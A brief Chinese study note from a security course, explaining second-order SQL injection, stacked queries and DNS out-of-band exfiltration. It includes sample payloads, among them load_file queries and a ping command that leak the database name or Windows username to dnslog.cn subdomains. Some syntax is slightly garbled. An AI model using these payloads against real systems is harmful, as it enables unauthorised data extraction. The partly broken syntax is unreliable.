有一说一,这节课我不是很懂,听的很懵逼
二次注入
SQL注入中的二次注入常见于 注册 新建 等功能点,当我们注册一个新的账号时,需要我们设置我们的 邮箱,用户名,密码。但是当我们成功注册后,登录只需要邮箱与密码即可完成登录,且进入后台用户中心后,我们也可以发现我们的用户名会被显示出来,这就是SQL注入的常见出现流程
我们在注册新的账号时,如果使用了 ‘’ “” 等符号 ,会被转义。所以我们常使用的sql注入payload 都会失去效果,但是当该payload被存入数据库在被引出使用的时候是原样输出,不会被过滤转义。这就是二次注入的原理了。
堆叠注入
堆叠注入是原本的SQL语句 select * from user where username=‘bliss’
然后我们可以通过传入payload username = 1’ ; show database()#来进行让他执行两条sql语句
植入payload的sql语句 :select * from user where username=‘1’ ; show database()# 一次执行两条语句,但是堆叠注入的实战情况下很少,条件有:存在sql注入 对 ; 不过滤 数据库支持一次执行多条sql语句
DNS外带
1.平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load_file(concat(‘\’,(select database()),‘.7logee.dnslog.cn\aa’));
and (select load_file(concat(‘//’,(select database()),‘.69knl9.dnslog.cn/abc’)))
命令执行:
ping %USERNAME%.7logee.dnslog.cn
但是很少使用,因为无回显常常会考虑时间盲注等其他方法,使用dns注入效率不高